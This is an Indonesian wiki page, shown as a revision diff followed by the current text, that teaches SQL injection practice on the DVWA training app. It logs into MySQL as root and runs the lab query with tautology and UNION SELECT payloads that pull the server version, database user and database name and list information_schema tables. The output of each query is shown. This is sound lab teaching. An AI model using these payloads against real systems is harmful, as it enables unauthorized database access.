Difference between revisions of "DVWA: perintah SQL di server DVWA"

From OnnoWiki
Jump to navigation Jump to search
Line 37: Line 37:
 
Perintah yang diberikan di menu SQL Injection DVWA sebetulnya adalah
 
Perintah yang diberikan di menu SQL Injection DVWA sebetulnya adalah
  
  SELECT first_name, last_name FROM users WHERE user_ID = '$id'
+
  SELECT first_name, last_name FROM users WHERE user_ID = '$id';
  
 
Dimana '$id' adalah input parameter yang diberikan oleh user. Kita bisa bermain-main  
 
Dimana '$id' adalah input parameter yang diberikan oleh user. Kita bisa bermain-main  
 
dengan ini di console mysql. Setelah kita 'use dvwa' maka kita bisa bermain-main
 
dengan ini di console mysql. Setelah kita 'use dvwa' maka kita bisa bermain-main
 
dengan MySQL secara manual tanpa melakukan injection.
 
dengan MySQL secara manual tanpa melakukan injection.
 +
 +
Masukan perintah
 +
 +
SELECT first_name, last_name FROM users WHERE user_ID = '1';
 +
 +
Keluar
 +
 +
+------------+-----------+
 +
| first_name | last_name |
 +
+------------+-----------+
 +
| admin      | admin    |
 +
+------------+-----------+
 +
1 row in set (0,00 sec)
 +
 +
 +
Masukan perintah
 +
 +
SELECT first_name, last_name FROM users WHERE user_ID = '2';
 +
 +
Keluar
 +
 +
+------------+-----------+
 +
| first_name | last_name |
 +
+------------+-----------+
 +
| Gordon    | Brown    |
 +
+------------+-----------+
 +
1 row in set (0,00 sec)
 +
 +
 +
Masukan perintah, untuk mencek apakah bisa di inject perintah lain
 +
 +
SELECT first_name, last_name FROM users WHERE user_id = '%' or '0'='0';
 +
 +
Keluar
 +
 +
+------------+-----------+
 +
| first_name | last_name |
 +
+------------+-----------+
 +
| admin      | admin    |
 +
| Gordon    | Brown    |
 +
| Hack      | Me        |
 +
| Pablo      | Picasso  |
 +
| Bob        | Smith    |
 +
+------------+-----------+
 +
5 rows in set (0,00 sec)
 +
 +
 +
Masukan perintah, untuk mencek apakah bisa di inject perintah lain
 +
 +
SELECT first_name, last_name FROM users WHERE user_ID = '1' or '2'='2';
 +
 +
Keluar
 +
 +
+------------+-----------+
 +
| first_name | last_name |
 +
+------------+-----------+
 +
| admin      | admin    |
 +
| Gordon    | Brown    |
 +
| Hack      | Me        |
 +
| Pablo      | Picasso  |
 +
| Bob        | Smith    |
 +
+------------+-----------+
 +
5 rows in set (0,01 sec)
 +
 +
 +
Masukan perintah
 +
 +
SELECT first_name, last_name FROM users WHERE user_id = '%' or 0=0 union select null, version() #;
 +
 +
Keluar
 +
 +
+------------+-------------------------+
 +
| first_name | last_name              |
 +
+------------+-------------------------+
 +
| admin      | admin                  |
 +
| Gordon    | Brown                  |
 +
| Hack      | Me                      |
 +
| Pablo      | Picasso                |
 +
| Bob        | Smith                  |
 +
| NULL      | 5.7.17-0ubuntu0.16.04.1 |
 +
+------------+-------------------------+
 +
6 rows in set (0,00 sec)
 +
 +
Akan keluar versi MySQL yang digunakan adalah 5.7.17-0ubuntu0.16.04.1
 +
 +
 +
Masukan perintah,
 +
 +
SELECT first_name, last_name FROM users WHERE user_id = '%' or 0=0 union select null, user() #';
 +
 +
Keluar
 +
 +
+------------+----------------+
 +
| first_name | last_name      |
 +
+------------+----------------+
 +
| admin      | admin          |
 +
| Gordon    | Brown          |
 +
| Hack      | Me            |
 +
| Pablo      | Picasso        |
 +
| Bob        | Smith          |
 +
| NULL      | root@localhost |
 +
+------------+----------------+
 +
6 rows in set (0,00 sec)
 +
 +
akan keluar user yang digunakan untuk mengakses database, yaitu root@localhost
 +
 +
 +
Masukan perintah
 +
 +
SELECT first_name, last_name FROM users WHERE user_id = '%' or 0=0 union select null, database() #';
 +
 +
Keluar
 +
 +
+------------+-----------+
 +
| first_name | last_name |
 +
+------------+-----------+
 +
| admin      | admin    |
 +
| Gordon    | Brown    |
 +
| Hack      | Me        |
 +
| Pablo      | Picasso  |
 +
| Bob        | Smith    |
 +
| NULL      | dvwa      |
 +
+------------+-----------+
 +
6 rows in set (0,00 sec)
 +
 +
akan keluar nama database yang digunakan, yaitu dvwa
 +
 +
 +
Masukan perintah
 +
 +
SELECT first_name, last_name FROM users WHERE user_id = '%' and 1=0 union select null, table_name from information_schema.tables #';
 +
 +
Keluar
 +
 +
+------------+------------------------------------------------------+
 +
| first_name | last_name                                            |
 +
+------------+------------------------------------------------------+
 +
| NULL      | CHARACTER_SETS                                      |
 +
| NULL      | COLLATIONS                                          |
 +
| NULL      | COLLATION_CHARACTER_SET_APPLICABILITY                |
 +
| NULL      | COLUMNS                                              |
 +
..
 +
..
 +
..
 +
| NULL      | x$wait_classes_global_by_avg_latency                |
 +
| NULL      | x$wait_classes_global_by_latency                    |
 +
| NULL      | x$waits_by_host_by_latency                          |
 +
| NULL      | x$waits_by_user_by_latency                          |
 +
| NULL      | x$waits_global_by_latency                            |
 +
+------------+------------------------------------------------------+
 +
275 rows in set (0,01 sec)
 +
 +
Dimana
 +
 +
* CHARACTER_SETS
 +
* COLLATIONS
 +
* COLLATION_CHARACTER_SET_APPLICABILITY
 +
 +
adalah INFORMATION SCHEMA table name.
 +
INFORMATION_SCHEMA adalah database informasi, yang menyimpan semua informasi
 +
tentang database yang di maintain oleh MySQL.

Revision as of 17:36, 11 March 2017

Pada saat kita berlatih SQL Injection menggunakan DVWA, akan lebih mudah untuk mengerti jika kita mengerti perintah SQL yang di berikan. Langkah untuk mempelajari ini tidak terlalu sulit

  • Login ke mesin server yang kita instalasi DVWA
  • menjadi super user, menggunakan perintah
sudo su


  • Masuk ke database MySQL, jika password root mysql adalah 123456, maka kita dapat menggunakan perintah
mysql -u root -p123456


Jika berhasil dengan baik maka akan keluar

mysql: [Warning] Using a password on the command line interface can be insecure.
Welcome to the MySQL monitor.  Commands end with ; or \g.
Your MySQL connection id is 4
Server version: 5.7.17-0ubuntu0.16.04.1 (Ubuntu)

Copyright (c) 2000, 2016, Oracle and/or its affiliates. All rights reserved.

Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

mysql>
  • Untuk berlatih kita perlu menggunakan database dvwa, ketik perintah
use dvwa

Kita sudah siap untuk belajar / memlihat apa yang terjadi jika kita latihan SQL Injection. Perintah yang diberikan di menu SQL Injection DVWA sebetulnya adalah

SELECT first_name, last_name FROM users WHERE user_ID = '$id';

Dimana '$id' adalah input parameter yang diberikan oleh user. Kita bisa bermain-main dengan ini di console mysql. Setelah kita 'use dvwa' maka kita bisa bermain-main dengan MySQL secara manual tanpa melakukan injection.

Masukan perintah

SELECT first_name, last_name FROM users WHERE user_ID = '1';

Keluar

+------------+-----------+
| first_name | last_name |
+------------+-----------+
| admin      | admin     |
+------------+-----------+
1 row in set (0,00 sec)


Masukan perintah

SELECT first_name, last_name FROM users WHERE user_ID = '2';

Keluar

+------------+-----------+
| first_name | last_name |
+------------+-----------+
| Gordon     | Brown     |
+------------+-----------+
1 row in set (0,00 sec)


Masukan perintah, untuk mencek apakah bisa di inject perintah lain

SELECT first_name, last_name FROM users WHERE user_id = '%' or '0'='0';

Keluar

+------------+-----------+
| first_name | last_name |
+------------+-----------+
| admin      | admin     |
| Gordon     | Brown     |
| Hack       | Me        |
| Pablo      | Picasso   |
| Bob        | Smith     |
+------------+-----------+
5 rows in set (0,00 sec)


Masukan perintah, untuk mencek apakah bisa di inject perintah lain

SELECT first_name, last_name FROM users WHERE user_ID = '1' or '2'='2';

Keluar

+------------+-----------+
| first_name | last_name |
+------------+-----------+
| admin      | admin     |
| Gordon     | Brown     |
| Hack       | Me        |
| Pablo      | Picasso   |
| Bob        | Smith     |
+------------+-----------+
5 rows in set (0,01 sec)


Masukan perintah

SELECT first_name, last_name FROM users WHERE user_id = '%' or 0=0 union select null, version() #;

Keluar

+------------+-------------------------+
| first_name | last_name               |
+------------+-------------------------+
| admin      | admin                   |
| Gordon     | Brown                   |
| Hack       | Me                      |
| Pablo      | Picasso                 |
| Bob        | Smith                   |
| NULL       | 5.7.17-0ubuntu0.16.04.1 |
+------------+-------------------------+
6 rows in set (0,00 sec)

Akan keluar versi MySQL yang digunakan adalah 5.7.17-0ubuntu0.16.04.1


Masukan perintah,

SELECT first_name, last_name FROM users WHERE user_id = '%' or 0=0 union select null, user() #';

Keluar

+------------+----------------+
| first_name | last_name      |
+------------+----------------+
| admin      | admin          |
| Gordon     | Brown          |
| Hack       | Me             |
| Pablo      | Picasso        |
| Bob        | Smith          |
| NULL       | root@localhost |
+------------+----------------+
6 rows in set (0,00 sec)

akan keluar user yang digunakan untuk mengakses database, yaitu root@localhost


Masukan perintah

SELECT first_name, last_name FROM users WHERE user_id = '%' or 0=0 union select null, database() #';

Keluar

+------------+-----------+
| first_name | last_name |
+------------+-----------+
| admin      | admin     |
| Gordon     | Brown     |
| Hack       | Me        |
| Pablo      | Picasso   |
| Bob        | Smith     |
| NULL       | dvwa      |
+------------+-----------+
6 rows in set (0,00 sec)

akan keluar nama database yang digunakan, yaitu dvwa


Masukan perintah

SELECT first_name, last_name FROM users WHERE user_id = '%' and 1=0 union select null, table_name from information_schema.tables #';

Keluar

+------------+------------------------------------------------------+
| first_name | last_name                                            |
+------------+------------------------------------------------------+
| NULL       | CHARACTER_SETS                                       |
| NULL       | COLLATIONS                                           |
| NULL       | COLLATION_CHARACTER_SET_APPLICABILITY                |
| NULL       | COLUMNS                                              |
..
..
..
| NULL       | x$wait_classes_global_by_avg_latency                 |
| NULL       | x$wait_classes_global_by_latency                     |
| NULL       | x$waits_by_host_by_latency                           |
| NULL       | x$waits_by_user_by_latency                           |
| NULL       | x$waits_global_by_latency                            |
+------------+------------------------------------------------------+
275 rows in set (0,01 sec)

Dimana

  • CHARACTER_SETS
  • COLLATIONS
  • COLLATION_CHARACTER_SET_APPLICABILITY

adalah INFORMATION SCHEMA table name. INFORMATION_SCHEMA adalah database informasi, yang menyimpan semua informasi tentang database yang di maintain oleh MySQL.